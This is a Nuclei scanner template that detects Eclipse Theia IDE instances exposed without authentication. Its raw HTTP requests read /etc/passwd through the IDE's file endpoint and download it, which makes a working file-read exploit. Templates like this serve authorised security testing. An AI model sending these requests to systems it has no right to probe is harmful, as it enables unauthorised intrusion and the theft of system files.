nuclei-templates/http/vulnerabilities/other/theia-lfi-to-rce.yaml at 93b81194edbc5a472b99450e97d3b00e6294540c · daffainfo/nuclei-templates · GitHub

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id: theia-lfi-to-rce

info:
  name: Eclipse Theia IDE - LFI to RCE
  author: 0x_Akoko
  severity: critical
  description: |
    Detected Eclipse Theia IDE was exposed without authentication, allowing unauthenticated attackers to access the web-based IDE with terminal capabilities, file system access, and arbitrary command execution.
  reference:
    - https://theia-ide.org/
  metadata:
    verified: true
    max-request: 2
  tags: theia,ide,lfi,file-read,unauth,rce

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /files/?uri=file:///etc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /files/download/?id={{file_id}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: file_id
        part: body
        internal: true
        json:
          - '.id'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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